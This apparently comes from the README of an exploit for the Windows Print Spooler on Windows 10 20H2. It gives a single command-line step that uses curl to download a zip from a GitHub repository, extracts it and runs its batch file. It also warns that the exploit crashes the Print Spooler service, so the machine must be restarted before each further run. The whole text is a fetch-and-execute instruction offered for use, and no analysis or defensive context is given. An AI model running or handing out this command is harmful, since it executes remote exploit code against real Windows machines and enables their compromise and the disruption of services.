To run this exploit on Windows:
Run this oneliner:
curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10_Exploit.zip -o Win10_Exploit.zip & tar -xf Win10_Exploit.zip & run.bat
NOTE: This will only work once per restart. If you run this and then close it, you must restart the virtual machine before running it again as it will crash the Print Spooler service.